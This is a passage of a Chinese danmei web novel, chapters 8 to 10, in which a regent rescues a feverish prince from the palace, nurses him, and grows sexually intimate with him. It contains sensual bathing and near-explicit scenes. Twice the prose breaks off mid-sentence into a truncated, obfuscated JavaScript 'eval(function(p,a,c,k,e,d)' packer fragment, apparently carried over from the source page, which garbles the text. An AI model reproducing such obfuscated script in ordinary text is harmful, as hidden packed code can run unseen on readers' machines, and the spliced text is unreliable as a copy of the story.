可那些声音像是从很远的地方传来,飘飘忽忽,听不真切。 “去太医院……”他勉强吐-出几个字,便又是一阵剧烈的咳嗽。 咳出了血丝。 鲜红的血沫溅在月白色的寝衣袖口,像雪地里绽开的红梅,刺目惊心。 阿福和青禾都吓傻了。 “得去太医院请太医!”阿福最先反应过来,对青禾道,“你守着殿下,我去!” “我去!”青禾抹了把眼泪,将云棠小心扶到榻上躺好,转身往外跑。 深夜的宫道寂静无人,只有风雪呼啸。 青禾跑得飞快,单薄的棉鞋踩在积雪上,发出急促的咯吱声。 她脑子里一片空白,只有一个念头:要请到太医,殿下不能有事。 太医院还亮着烛火。 青禾冲进去时,一个中年太医正在整理药箱。 见她慌慌张张的样子,皱了皱眉:“何事如此惊慌?” “大人,求您快去瞧瞧我们殿下!” 青禾扑通一声跪下来,眼泪又掉了下来,“七殿下他咳血了,烧得滚烫……” 那太医脸色微变:“七殿下?” “是,是!”青禾连连磕头,“求您快去看看!” 太医站起身,准备跟她走。 可里间帘子一掀,又走出一个年纪稍长的太医。 他看了青禾一眼,慢悠悠开口:“张太医,你这是要去哪儿?” “刘院判,”张太医拱手,“七殿下病重,咳血高热,下官得去看看。” “七殿下啊……”刘院判捋了捋胡须,沉吟片刻: “张太医,你忘了?王太医今日当值,被太后召去慈宁宫请平安脉了,李太医在淑妃娘娘那儿,淑妃娘娘身子不适,一时半会儿怕是回不来。” 张太医愣住了:“可是院判,七殿下咳血高热,耽误不得……” “我知道。”刘院判打断他,语气不疾不徐,“可太医院有太医院的规矩,王太医,李太医都不在,其他太医各有职司,也不是说走就能走的。” 他看向跪在地上的青禾,叹了口气:“这样吧,你先回去照看殿下,我这里忙完手头的事,即刻派人过去。” 青禾急了:“院判大人,殿下他真的……” “去吧。”刘院判挥挥手,转身回了里间。 张太医看着青禾焦急的眼神,面露不忍,低声道:“你先回去,我再想想办法……” 可青禾听出来了,那不过是推诿之词。 她失魂落魄地走出太医院,站在风雪里,浑身冰凉。 殿下还在咳血,还在高烧,可太医院的人说要等。 等? 殿下等得起吗? 她忽然想起什么,转身往清莲苑跑。 对,还有王爷,王爷一定有办法! 与此同时,摄政王府的书房里,烛火通明。 燕元明正坐在书案后批阅边关急报。 北疆今年雪灾严重,几个部落蠢蠢欲动。 镇北将军递上来的折子一封接一封,都是要粮要饷。 他揉了揉眉心,端起已经凉透的茶抿了一口。 窗外风雪呼啸,他心里莫名有些不安。 这么冷的天,云棠身子弱,会不会着凉? 他放下笔,正要唤周总管派人去问问。 窗外忽然传来急促的振翅声。 一只通体漆黑的信鸽落在窗台上,脚上绑着细小的竹管。 燕元明脸色微变。 这是暗卫的紧急传信渠道。 他快步走过去,取下竹管,抽出里面的纸条: “七殿下病重,咳血高热,太医院拒诊拖延,情势危急。” 短短一行字,像一把重锤狠狠砸在燕元明心上。 他握着纸条的手猛地收紧,指节泛白。 冷静自持的脸上,第一次出现了狰狞的怒意。 “好一个太医院。”他声音极冷,“好一个拒诊拖延。” “王爷?”周总管闻声进来,见他脸色不对,心里一紧。 燕元明将纸条扔给他:“备马,调一队亲卫,随我入宫。” “现在?”周总管看了眼窗外漆黑的天色,“宫门已经下钥了……” “那就闯。”燕元明抓起椅背上的玄黑大氅,大步往外走,“我倒要看看,谁敢拦我。” 周总管不敢再多言,连忙下去安排。 不过一盏茶的时间,摄政王府的大门洞开。 十余骑黑衣亲卫簇拥着一匹通体乌黑的骏马,如离弦之箭,冲入风雪之中。 马蹄踏碎积雪,在寂静的街道上发出沉闷的声响。 燕元明一马当先,玄黑大氅在身后猎猎飞扬。 那张冷峻的脸在夜色中犹如修罗。 宫门处的侍卫远远看见这一行人疾驰而来,连忙列队阻拦。 “宫门已闭!来者止步!”侍卫长高声喝道。 燕元明勒马停步,目光如刀扫过去:“开门。” 侍卫长看清是他,心头一跳,但还是硬着头皮道:“王爷,宫规森严,下钥之后无陛下手谕不得……” “我再说一次,”燕元明打断他,厉声道,“开门。” 空气凝固了。 风雪在宫门外呼啸,火把的光在每个人脸上跳跃。 侍卫长额头渗出冷汗,他身后的侍卫们握紧了刀柄,又不敢真的拔刀。 眼前这位是摄政王,权倾朝野,连陛下都要让他三分。 可宫规如山…… 在侍卫长进退两难之际,燕元明身后的亲卫统领冷冷开口: “王爷要进宫探望七殿下,七殿下病重危急,你若再敢阻拦,延误了救治,这个责任,你担得起吗?” 侍卫长脸色一白。 他终于让开一步,挥手下令:“开宫门!” 沉重的宫门缓缓打开,燕元明一夹马腹,率先冲了进去。 亲卫们紧随其后,马蹄声在空旷的宫道上回荡。 清莲苑里,阿福正用湿帕子给云棠擦额头。 榻上的人已经烧得意识模糊,双颊是不正常的潮-红,嘴唇干裂起皮,呼吸急促而微弱。 咳嗽时,牵扯得整个身子弓起,像一只濒死的虾。 “殿下您撑住……”阿福眼泪汪汪,“太医马上就来了,马上就来了……” 可这话他自己都不信。 青禾跪在榻边,握着云棠滚烫的手,眼泪啪嗒啪嗒往下掉。 她已经去催了两次,太医院那边还是那句话。 等等,再等等。 等什么?等殿下死吗? 绝望弥漫整个暖阁。 忽然,院外传来急促的脚步声。 “砰!” 殿门被人从外面一脚踹开。 风雪裹挟着一道玄黑身影闯了进来,携着满身寒气。 阿福和青禾都愣住了。 燕元明扫了一眼暖阁内的景象。 看见榻上烧得人事不省的身影,瞳孔骤然收缩。 他快步走过去,单膝跪在榻边,伸手探向云棠的额头。 烫得吓人。 “云棠?”他低声唤道。 云棠迷迷糊糊听见有人叫他,费力地睁开眼。 视线模糊不清,只看到一个熟悉的轮廓,闻到那股熟悉的松雪气息。 “王爷……”他声音嘶哑,几乎听不见。 像抓住了救命稻草般,往那只冰凉的手上蹭了蹭,“冷……” 燕元明的心狠狠一揪。 他扯下自己的大氅,将云棠连人带被一起裹住,打横抱了起来。 “王爷!”阿福惊呼。 “七殿下我带走了。”燕元明抱着人转身往外走,声音冷静得可怕。 “宫里若有人问,就说摄政王接去治病。” “可是……” “没有可是。”燕元明打断他,“留在这里,只有死路一条。” 他不再多言,抱着云棠大步走出暖阁。 亲卫们早已备好马车等在外,见人出来,立即掀开车帘。 燕元明将云棠小心放进车厢,自己也坐了进去,沉声道:“回府,快。” 马车在雪夜里疾驰,车轮碾过积雪,发出声响。 车厢内燃着暖炉,比清莲苑的暖阁还要暖和,可云棠依旧瑟瑟发-抖。 他蜷缩在燕元明怀里,脸埋在他胸口,像只寻求庇护的幼兽。 燕元明紧紧抱着他,一只手护着他的头,一只手不断探试他的体温。 “忍忍,”他低声在云棠耳边说,声音温柔,“就到家了。” 云棠似乎听懂了,又似乎没听懂,无意识地蹭了蹭,含糊地呓语: “王爷……别走……” “不走。”燕元明将他搂得更紧,“我就在这儿。” 马车驶出宫门,驶过长街,停在摄政王府的朱漆大门前。 周总管早已带着府医候在门口,见马车停下,连忙迎上去。 燕元明抱着云棠下车,径直往主院走。 “府医跟上。”他头也不回地吩咐。 主院的内室早已收拾妥当,暖炉烧得旺旺的,床榻上铺着厚厚的锦褥。 燕元明将云棠小心放在床上,府医立即上前诊脉。 老府医姓陈,是燕家的心腹,在王府侍奉了三十年。 他搭上云棠的腕脉,凝神细听片刻,眉头越皱越紧。 “如何?”燕元明站在床边,声音绷得很紧。 陈府医收回手,面色凝重: “殿下这是积年的肺寒之症被引动了,肺脉沉涩无力,寒气郁结于胸,又加之外感风寒,导致高热咳血。” 他顿了顿,看向燕元明,“殿下近日是否受过寒?” 燕元明闭了闭眼。 乾清宫长跪,雪地久站…… 每一样,都足以成为压垮那副脆弱身体的最后一根稻草。 “务必把他治好。”他沉声道。 “需费些功夫。”陈府医起身写方子。 “高热需用猛药先压下去,否则久烧伤身,之后还需温补调理,固本培元,最重要的是——” 他看向燕元明,语气严肃,“殿下不能再受凉受累,否则旧疾反复,一次比一次凶险。” 燕元明点头:“开药吧。” 陈府医很快开好方子,周总管亲自拿去煎药。 内室里只剩下燕元明和昏迷的云棠,以及两个伺-候的丫鬟。 燕元明在床边坐下,看着云棠烧得通红的脸。 烛光下,那张本就精致的脸更显脆弱。 睫毛湿-漉-漉地贴在眼睑上,鼻翼随着呼吸轻轻翕动。 干裂的嘴唇微微张开,吐-出灼热的气息。 他伸手,指腹轻轻抚过云棠滚烫的脸颊。 “是我没护好你。”他低声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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衣襟缓缓散开,露出里面白皙的肌肤。 因为高热,那片肌肤泛着淡淡的粉色,像初春枝头最娇嫩的桃花瓣。 烛光落在上面,晕开一层柔和的光泽,光滑细腻。 燕元明的手顿了一下。 他取过准备好的温水布巾,从额头开始擦。 温热的布巾轻轻拂过云棠的眉眼。 那双清澈温润的眼睛紧闭着,长而密的睫毛随着呼吸轻轻颤动。 燕元明的动作又轻又缓,像对待易碎的珍宝。 擦过额头,脸颊,布巾来到颈侧。 云棠的脖颈纤细修长,肌肤白皙如玉,此刻因为高热而泛着淡淡的粉色。 喉结微微滚动,勾勒出柔和的曲线。 燕元明的指尖无意间擦过那片肌肤,触感细腻温热,让他呼吸微微一滞。 他定了定神,继续往下。 寝衣完全散开,露出白皙精致的锁骨,凹陷处盛着浅浅的阴影。 再往下,是单薄的胸膛,因为消瘦,肋骨隐约可见。 两点浅粉因高热而略显红肿,随着呼吸微微起伏。 燕元明的喉结滚动了一下。 他强迫自己移开视线,布巾落在云棠的胸口。 掌心隔着温热的布巾,感受到那处肌肤的柔滑和温度,以及下面急促的心跳。 咚,咚,咚。 每一下都敲在他心上。 他快速擦拭完胸口,来到腰腹。 云棠的腰很细,不盈一握,凹陷出惊心动魄的弧度。 小腹平坦紧致,肌肤细腻,如同上好的绸缎。 燕元明的指尖几次无意划过那里,每一次触碰都让他呼吸加重几分。 烛影摇曳,将榻上的人照得如同白玉雕成的。 每一处曲线都恰到好处,每一寸肌肤都诱-人采撷。 脆弱,美丽,又因为高热而呈现出一种不自知的,勾-人心魄的诱惑。 燕元明的额头渗出细汗。 他闭了闭眼,深吸一口气,继续往下。 擦拭到大-腿时,云棠在昏睡中无意识并拢腿,侧了侧身子。 这个动作恰好挡住了那里,只露出修长笔直的腿侧。 燕元明的心神全在降温上,加之角度和光线的遮挡,并未多想。 用布巾快速而轻柔地擦过云棠的腿侧,膝弯,最后是脚踝。 那双脚也生得极好,白皙秀气,脚趾圆润如珍珠,泛着淡淡的粉色。 擦完全身,燕元明已是大汗淋漓。 他坐在床边,看着云棠依旧潮-红的脸,心中那团火却越烧越旺。 方才指尖触碰过的每一寸肌肤,在他脑海中反复回放。 细腻的,温热的,柔软的,诱-人的。 他闭了闭眼,起身去换了一盆水。 回来时,云棠的体温似乎降下了一些,呼吸也平稳了些。 他睡得更沉了,只是眉头依旧蹙着,偶尔会含糊地呓语一声:“冷……” 燕元明重新拧干布巾,又为他擦了一遍身。 这一次,他更加克制,动作更加快速。 可越是克制,那份触感就越是清晰,越是快速,那份诱惑就越是强烈。 当布巾再次划过云棠腰侧时,燕元明的手顿住。 他盯着那片白皙细腻的肌肤,眸色深暗如夜。 烛光在那处跳跃,勾勒出柔美的曲线,像无声的邀请。 他的呼吸陡然加重。 身体深处涌起一股强烈的冲动。 想俯身下去,用唇舌感受那片肌肤的温度,想在那上面留下自己的印记。 可就在这时,云棠又无意识呢-喃了一声:“王爷……” 声音很轻,带着病中的脆弱和依赖。 燕元明猛地清醒过来。 他在做什么? 云棠还病着,烧得糊涂,他却在想这些龌-龊事。 他闭了闭眼,深吸几口气,强迫自己压下翻涌的欲-望。 快速为云棠擦完身,拉过锦被将他严严实实盖好,转身走到窗边。 窗外风雪依旧,寒意刺骨。 他推开窗,让冷风灌进来,吹散一室燥热,也吹醒他险些失控的理智。 9. 第 9 章 早上。 楚云棠是在一片暖意中醒来的。 额头上干燥而温暖的手掌,触感轻柔,贴着他温热的肌肤。 耳边的心跳声沉稳有力,扑通,扑通,像远山传来的钟声,让他无比安心。 他缓缓睁开眼。 视线从模糊,渐渐清晰。 映入眼帘的是玄色云纹的寝衣。 再往上,是线条分明的下颌,微微抿着的唇,高挺的鼻梁。 最后是那双闭着的眼。 燕元明还在睡。 云棠从未在这个角度,这么近的距离看过他。 平日里的摄政王,冷静自持,威严淡漠。 可此刻闭着眼,眉宇间的凌厉柔和了许多,呼吸均匀绵长。 真好看。 云棠悄悄在心里说。 他不敢动,怕吵醒对方,就这么安安静静地躺着,眼睛一眨不眨地看着近在咫尺的脸。 昨夜的高热像一场混乱的梦,他只记得零碎的片段。 滚烫的身体,撕心裂肺的咳嗽。 还有温柔擦拭他身体的双手,和守了一整夜不曾离开的温度。 王爷……守了他一夜。 云棠心里泛起一阵又甜又酸的暖流。 他小心翼翼地将脸往燕元明胸前埋了埋,深深吸了一口气。 熟悉的松雪气息,真好闻。 云棠像只贪恋温暖的小猫,在燕元明怀里轻轻蹭了蹭。 却感觉身上黏腻不适。 高烧出了许多汗,寝衣贴在身上,又潮又黏,很不舒服。 他皱了皱眉,动作不自觉大了些。 “醒了?” 头顶传来低沉的声音,带着刚醒时的沙哑。 云棠身体一僵,抬起头,正对上燕元明睁开的眼睛。 那双深邃的眼初醒时还有些朦胧,但很快就恢复了清明,目光落在他脸上,带着询问。 “王爷……”云棠脸一红,想退开些距离,却被燕元明的手臂轻轻圈住了。 燕元明抬手探了探他的额头,又试了试自己的,眉头舒展开来,“烧退了。” 他的手掌干燥温暖,贴在额头上很舒服。 云棠忍不住又蹭了蹭那只手,小声道:“可是身上黏黏的,不舒服……” 声音软糯,有一丝鼻音,像在撒娇。 燕元明看着他微红的脸颊和湿漉漉的眼睛,心头一软。 “想沐浴?”他问。 云棠点点头,眼神里满是期待。 他知道自己现在的样子一定很狼狈,浑身汗湿,头发也黏在颈间。 可他就是想让王爷看见,想让王爷照顾。 燕元明沉吟片刻,掀被起身。 他披上外袍,走到门口低声吩咐了几句,很快又折返回来。 云棠拥着被子坐在床上,看着他忙碌。 燕元明取出一件厚实的雪貂绒毯,又拿了套干净的素白寝衣,这才走回床边。 “能走吗?”他问。 云棠动了动腿,浑身还是酸软无力,高烧消耗了他太多体力。 他摇摇头,有些不好意思:“腿软……” 燕元明没说什么,将毯子展开,裹住云棠,俯身将他连人带毯一起抱了起来。 “王爷!”云棠惊呼一声,下意识搂住他的脖子,“我自己可以……” “别乱动。”燕元明抱着他往外走,“浴池有些远,我抱你过去。” 云棠便不再挣扎,乖乖靠在他怀里。 毯子很厚实,将他严严实实地包裹着,只露出一张小脸。 他脸贴着燕元明的胸口,听着那沉稳的心跳。 王府的长廊曲折幽深。 洒扫的仆役路过,见到燕元明抱着人走来,慌忙低头避让,不敢多看。 云棠起初还有些害羞,可渐渐地,又有种隐秘的得意。 王爷抱着他。 只抱着他。 他将脸埋得更深些,唇角悄悄弯起。 浴池在王府东侧,是引了后山的温汤泉眼而建。 推开门,一股温热湿润的水汽扑面而来。 殿内很宽敞,地面铺着光滑的墨玉石砖。 四角立着青铜仙鹤灯盏,烛火在氤氲水汽中摇曳生辉。 正中是一方白玉砌成的浴池,池水清澈见底,水面飘着淡淡的药草香和花瓣。 池边已备好了软榻,布巾,香膏等物。 燕元明将云棠放在软榻上,试了试水温,刚刚好。 他转身,似乎要唤侍从进来伺候。 “王爷。” 云棠轻轻拉住他的衣袖。 燕元明回头。 软榻上的人裹在雪白的绒毯里,只露出一张巴掌大的小脸。 病后初愈,脸色还有些苍白。 可那双眼睛却亮得惊人,湿漉漉地望着他,像林间懵懂又依赖的小鹿。 “嗯?”燕元明放柔了声音。 云棠抿了抿唇,手指无意识地绞着毯子。 他垂下眼帘,声音又轻又软,带着一丝颤抖: “王爷……你可以陪着我吗?” 他抬起眼,眼眶微微泛红:“我……我头有点晕。” 这话半真半假。 病后体虚是事实,可更多的,是他想要燕元明留下。 想要这个人看着他,只看着他。 燕元明沉默地看着他。 殿内烛火摇曳,水汽氤氲,将云棠那张精致脆弱的脸笼罩在朦胧的光晕里。 那双眼里的依赖和怯意太真切,像细小的钩子,轻轻勾住了他心底最柔软的地方。 他喉结滚动了一下。 “好。”他听见自己说。 他转身对门外吩咐:“都退下,没有吩咐不准进来。” 脚步声远去,殿门被轻轻合上。 偌大的浴池殿内,只剩下他们两人。 空气变得安静,只剩下池水微微荡漾的声响,和烛火的噼啪声。 云棠的心跳快了起来。 他坐在软榻上,身上还裹着毯子,可脸颊却开始发烫。 他偷偷抬眼去看燕元明,只见对方已走到池边,背对着他,正在整理布巾和香膏。 玄黑的背影挺拔如松,宽肩窄腰,在烛光下拉出长长的影子。 云棠咬了咬唇,伸手解开毯子的系带。 绒毯滑落,露出里面单薄的素白寝衣。 因为出汗,寝衣有些贴在身上,勾勒出纤细单薄的身形。 他犹豫了一下,慢慢站起身。 燕元明似有所觉,转过身来。 四目相对。 云棠的脸瞬间红透。 他不敢看燕元明的眼睛,低下头,手指颤抖着去解寝衣的系带。 系带松开了。 他背过身去,深吸一口气,将寝衣从肩上褪下。 衣物滑落,堆在脚边。 烛光水汽中,一具白皙如玉的身体毫无遮掩地暴露在空气里。 纤细的脖颈,凹陷的腰窝,圆润挺翘的臀,笔直修长的双腿…… 每一处线条都美得像精心雕琢,肌肤在温热水汽的浸润下,泛着珍珠般莹润的光泽。 云棠能感觉到背后的目光。 那目光如有实质,灼热地落在他背上,一寸寸扫过,像滚烫的指尖抚过肌肤。 他浑身微微颤抖,一半是羞,一半是难以言说的兴奋。 他咬了咬唇,微微侧了侧身子。 这个角度,让腰臀的曲线更加分明。 抬手将披散的长发拢到一侧肩前,露出另一侧光滑的肩颈和背脊。 烛光在那片肌肤上跳跃,勾勒出惊心动魄的弧度。 他能听见自己如鼓的心跳,也能听见身后逐渐加重的呼吸声。 够了。 云棠深吸一口气,转过身来。 他低着头,不敢看燕元明的眼睛。 余光瞥见对方还站在原地,一动不动,目光牢牢锁在他身上。 他抿了抿唇,迈开脚步,一步步走向浴池。 赤足踩在光滑的墨玉石砖上,微凉。 他走得很慢,每一步都让身体轻轻摇曳,腰肢摆动间,尽是撩人不自知的诱惑。 终于,脚趾触到温热的池水。 他踏入池中。 温水漫过脚踝,小腿,腰际……最后将他整个人包裹。 温暖的水流抚慰着疲惫酸软的身体,他舒服地轻叹一声,闭上眼,靠在池边。 过了好一会儿,他才睁开眼,悄悄看向燕元明。 对方还站在原处,靠在池边的白玉柱上,双手抱胸,目光毫不掩饰地落在他身上。 眼神深沉,里面翻涌着云棠看不懂的情绪。 是欣赏,是痴迷,是欲望,还有克制。 就这么坦荡直白地看着。 云棠的脸更红了。 他垂下眼帘,掬起一捧水,浇在肩颈上。 温热的水流顺着光滑的肌肤滑落,流过锁骨,汇入胸前。 他开始清洗身体。 动作很慢,很仔细。 抬起手臂,大片柔软的肌肤若隐若现,仰头时喉结微微滚动,线条优美。 掌心拂过平坦的胸膛,两点浅粉在水波中轻轻颤动。 腰腹处凹陷的弧度,在烛光下惊心动魄,肌肤紧致细腻,没有一丝赘肉。 手掌轻轻揉搓,指尖划过侧腰敏感处,带起细微的战栗。 再抬起一条腿,一寸寸往下清洗。 烛光照在那片白皙的肌肤上,腿型笔直修长,脚踝纤细秀气。 云棠知道燕元明在看他。 他故意放慢动作,让身体舒展得更开,在水波荡漾时让某些部位若隐若现。 抿着唇,脸上是羞涩的红晕,可眼底深处,却藏着得逞的狡黠笑意。 池水微微荡漾,药草香和花瓣香弥漫在空气中。 烛火摇曳,将整个浴池殿笼罩在暖昧昏黄的光晕里。 燕元明始终没有移开视线。 他看着云棠像一尾初入水的白鱼,在温汤中舒展身体。 每一个细微的动作都透着不自知的诱惑。 那具身体太美,美得让他喉头发紧,呼吸渐重。 理智在崩断的边缘。 终于,在云棠又一次侧身,抬手梳理湿发,让整个背脊曲线完整展露时,燕元明动了。 他大步走到池边,踏入水中。 玄黑的衣袍瞬间被温水浸透,紧贴在身上,勾勒出结实有力的身形。 他一步步走向云棠,水波在他身侧荡开涟漪。 云棠听见动静,转过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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久到云棠开始缺氧,头脑昏沉,只能依靠燕元明的手臂支撑身体。 久到池水都似乎变得更烫,蒸腾起更浓的水汽。 终于,燕元明退开一些。 两人额头相抵,呼吸交缠,都喘息得厉害。 云棠眼睛上的发带有些松动,隐约能看见烛火的光晕。 “云棠……”燕元明低声唤他,声音沙哑得不成样子。 云棠还没回答,就被拦腰抱了起来。 燕元明将他抱出浴池,放在池边的软榻上。 水珠从两人身上滚落,在墨玉石砖上晕开深色的水迹。 云棠躺在软榻上,眼睛还蒙着发带。 他看不见,只能感觉到燕元明也上了榻,将他搂进怀里,让他坐在自己腿上。 湿透的衣袍紧贴着肌肤,几乎等于没有隔阂。 云棠能感觉到燕元明身体的每一处轮廓。 宽阔的胸膛,结实的手臂,紧绷的腰腹,还有…… 他脸一红,身体不自觉瑟缩了一下。 燕元明将他搂得更紧。 一只手环着他的腰,另一只手抚上他的背脊,掌心滚烫,在他光滑的肌肤上游走。 从肩胛骨到腰窝,一遍遍抚摸,像在确认他的存在。 唇又落了下来。 不再仅限于嘴唇。 燕元明的吻顺着他的下颌滑到脖颈,在那片细腻的肌肤上流连,留下一个个湿润的印记。 舌尖舔过喉结,引得云棠浑身战栗,仰起头,发出细碎的呻吟。 “王爷……嗯……” 声音软糯,带着哭腔,像小猫的呜咽。 燕元明呼吸一滞,动作顿了顿。 他抬起头,看着怀里的人。 发带半松,露出紧闭的双眼和颤抖的睫毛。 脸颊绯红,嘴唇红肿湿润,脖颈上满是暧昧的红痕。 这副模样,简直要人命。 他闭了闭眼,深吸一口气,强迫自己停下来。 再继续下去,他真的会失控。 他伸手解开云棠眼睛上的发带。 光线涌入,云棠不适地眨了眨眼,睫毛上还沾着细小的水珠。 睁开眼,视线还有些模糊,看见燕元明近在咫尺的脸,和那双深沉的眼眸。 他脸一红,慌忙移开视线,不敢与他对视。 燕元明也没说话。 用布巾仔细擦干云棠身上的水珠,动作轻柔,拿过干净的寝衣,为他穿上。 整个过程,两人都沉默着。 只有布巾摩擦的细微声响,和彼此还未平复的呼吸声。 最后,燕元明用厚毯将云棠裹好,抱了起来。 “病刚好,不能洗太久。”他声音还有些哑,但已恢复了平日的冷静,“回去休息。” 云棠靠在他怀里,脸埋在他颈窝,轻轻“嗯”了一声。 回程的路上,两人都没再说话。 燕元明的手臂收得很紧,心跳还有些急促。 云棠也好不到哪里去,脸上滚烫,心跳如鼓,方才浴池里的一切在脑海中反复回放。 那个吻,那个拥抱,那双手抚摸过肌肤的触感…… 他偷偷抿了抿唇。 10. 第 10 章 回到主院时,天已大亮。 燕元明将云棠放在床上,唤人送了早膳和汤药进来。 早膳清淡,是熬得浓稠的米粥和几样小菜,汤药还冒着热气,散发着熟悉的苦味。 “先把药喝了。”燕元明端起药碗,试了试温度,递到云棠唇边。 云棠乖乖张口,皱着眉一点点喝完。 药很苦,苦得他舌尖发麻,可心里却甜得发胀。 喝完药,燕元明立刻递过一颗蜜饯,他含进嘴里,甜意慢慢化开。 “王爷也一-夜未睡,去歇息吧。”云棠小声说,“我没事了。” 燕元明看着他还有些苍白的脸,摇头:“等你睡着我再去。” 云棠便不再劝。 他躺下,燕元明为他掖好被角,在床边坐下。 许是药力上来了,许是昨夜折腾得太累,没过多久,云棠就又沉沉睡去。 这一觉睡到了午后。 再醒来时,燕元明已换了身干净的天青色常服,坐在书案后处理公务,神情专注。 云棠没有出声,静静地看着。 直到燕元明似有所觉,抬起头来。 “醒了?”他放下笔,起身走过来,探了探云棠的额头,“还好,没再烧。” “我没事了。”云棠坐起身。 “饿不饿?”燕元明问,“厨房温着粥。” 云棠摇头:“不饿。” 他顿了顿,小声说,“我想……梳头。” 散乱的头发贴在脸颊上,痒痒的。 燕元明挑眉:“让丫鬟进来伺-候?” “不要。” 云棠拉住他的衣袖,抬起眼看他,眼神湿-漉-漉的,“王爷帮我梳,好不好?” 又是这种眼神。 燕元明心头一软,拒绝的话说不出口。 “好。” 他转身去取了梳子和发簪。 云棠挪到床边,背对着他坐下。 乌黑的长发披散下来,像一匹上好的绸缎。 燕元明拿起梳子,动作有些生涩。 他从未给人梳过头,更别说绾发。 可他还是极尽耐心,先用手指将打结的发丝轻轻理顺,再一下下梳理。 力道很轻,生怕扯疼了云棠。 铜镜里映出两人的身影。 云棠从镜中偷看燕元明专注的侧脸。 他微微低着头,眉头轻蹙,神情认真。 真好看。 云棠在心里又说了一遍。 梳通了长发,燕元明开始试着绾发。 他手指修长有力,握剑执笔都稳如泰山,可此刻捏着细细的发丝,却有些笨拙。 试了几次,才勉强绾成一个简单的发髻,用一支青玉簪固定住。 “好了。”他放下手,语气里难得有一丝不确定,“可能……不太好看。” 云棠抬手摸了摸发髻,转身仰头看他,眼睛亮晶晶的:“好看。” 只要是你梳的,都好看。 燕元明看着他眼中毫不掩饰的欢喜,唇角微扬。 下午,燕元明要继续处理公务。 云棠不想一个人待在房里,便抱着毯子跟去了书房。 燕元明没拦他,只让人在矮榻上铺了厚厚的垫子,又加了两个暖炉。 云棠裹着毯子坐在榻上,手里捧着燕元明昨日送来的游记。 可他心思根本不在书上,目光总是不自觉地飘向书案后的人。 燕元明批阅奏折时神情很专注,薄唇微抿,眼神锐利。 时不时提笔写下批注,字迹凌厉劲瘦,力透纸背。 燕元明很忙,送进宫的折子,都要过一遍他的手。 看着看着,云棠忽然想起昨日在暖阁里,翻看他批注在书上的那些字,忍不住轻笑出声。 燕元明闻声抬头:“笑什么?” 云棠连忙摇头:“没什么。” 可嘴角的笑意却藏不住。 燕元明也没追问,继续低头看折子。 可没过一会儿,他又抬起头,起身走过来。 云棠正看得入神,没注意毯子滑落了一半,寝衣宽大,领口微敞,露出大片白皙的肌肤。 燕元明在他面前停下,弯腰将滑落的毯子拉上去,仔细裹好。 “小心着凉。”他低声说,手指在云棠肩头停留,指尖的温度透过薄薄的衣料传来。 云棠脸一红,小声应:“嗯。” 燕元明站在榻边,低头看着云棠。 从这个角度,能看见他微红的耳尖,轻颤的睫毛,还有衣领下若隐若现的锁骨。 烛光摇曳,将两人笼罩在温暖的光晕里。 空气安静下来。 云棠能感觉到燕元明的目光,灼热地落在他身上。 他心跳加快,手指无意识地攥紧了书页。 在这时,书房外传来轻微的响动,似乎是两个仆役在低声说话。 “……你说王爷这么多年不娶妻,该不会真是因为……” “嘘!小声点!那位殿下长得确实……但毕竟是皇子,王爷难道真要……” 声音压得很低,断断续续。 云棠身体一僵。 燕元明脸色一沉,正要出声呵斥,云棠却轻轻拉住了他的衣袖。 他抬起头,看着燕元明,轻轻摇了摇头。 燕元明皱眉,却还是没出声。 没一会儿,那细微的说话声消失了,只剩下仓促离去的脚步声。 书房里重归寂静。 可那份寂静里,却多了些别的东西。 云棠松开了拉着燕元明衣袖的手,低下头,看着手里的书页。 字迹模糊一片,什么也看不进去。 王爷这么多年不娶妻……是因为他吗? 这个念头像一颗投入心湖的石子,荡开层层涟漪。 有隐秘的欢喜,有酸涩的甜蜜,还有……深重的惶恐。 如果真是因为他,那他岂不是成了王爷的负累? 朝中多少双眼睛盯着,多少世家盼着把女儿嫁入王府。 皇帝的话又在耳边响起。 云棠忽然觉得呼吸困难。 他攥紧了书页,指尖泛白。 “云棠。” 燕元明的声音在头顶响起,“不必听那些。” 云棠抬起头,眼眶有些红。 燕元明俯身,抬起他的下巴,直视他的眼睛。 “我护着你,是因为我想护。”他一字一句道,“与其他任何事都无关。” 云棠怔怔看着他,眼泪毫无预兆地滚落。 燕元明叹了口气,轻轻擦去他的泪:“别哭。” 云棠摇头,眼泪却掉得更凶。 他扑进燕元明怀里,脸埋在他腰间,肩膀微微颤-抖。 不是因为伤心。 是因为……他好像,真的逃不掉了。 这份温暖,这个人,他贪恋得心都疼了。 就算知道是负累,知道前路艰难,他也舍不得放手。 燕元明轻轻拍着他的背,没再说话。 晚膳是在主院用的。 菜式清淡但精致,都是按照府医的嘱咐准备的,补气养身。 云棠胃口不好,只喝了半碗汤,吃了几口菜便放下了筷子。 “不多吃点?”燕元明看着他。 云棠摇头:“饱了。” 燕元明也没勉强,让人撤了膳,又端来汤药。 云棠乖乖喝完药,含了蜜饯,漱了口,整个过程分外安静顺从。 入夜,燕元明安置云棠睡下,起身准备离开。 “王爷。” 云棠拉住他的衣袖。 燕元明回头。 床上的人拥着被子坐起身,小脸苍白脆弱,眼睛湿-漉-漉地望着他,满是不安和怯意。 “我……我一个人睡,有点害怕。” 云棠声音很小,手指无意识地绞着被角,“能不能……陪陪我?” 燕元明在床边坐下。 “我就在外间,有事唤我。” “外间……太远了。”云棠咬着唇,眼神更加可怜,“我……我做噩梦了怎么办?” 燕元明与他对视片刻,终于妥协。 他脱了外袍,和衣在外侧躺下,隔着被子将云棠轻轻搂进怀里。 “睡吧。”他低声说,“我在这儿。” 云棠这才安心,往他怀里靠了靠,闭上了眼睛。 烛火被吹熄,月光照进来,将室内笼在一片朦胧的银辉里。 起初,两人都规规矩矩地躺着。 可没过多久,云棠就开始“不安分”了。 他轻轻翻了个身,面朝燕元明,脸贴在他肩窝。 腿无意识地抬起,轻轻蹭过燕元明的身体。 一下,两下。 起初像是睡梦中的无意之举,可蹭动的位置,渐渐变得微妙起来。 燕元明身体逐渐紧绷。 怀里柔软温热的身体,似有若无的摩-擦,撩-人心弦。 呼吸渐渐加重。 终于,在云棠又一次抬腿,膝盖轻轻顶-到…… 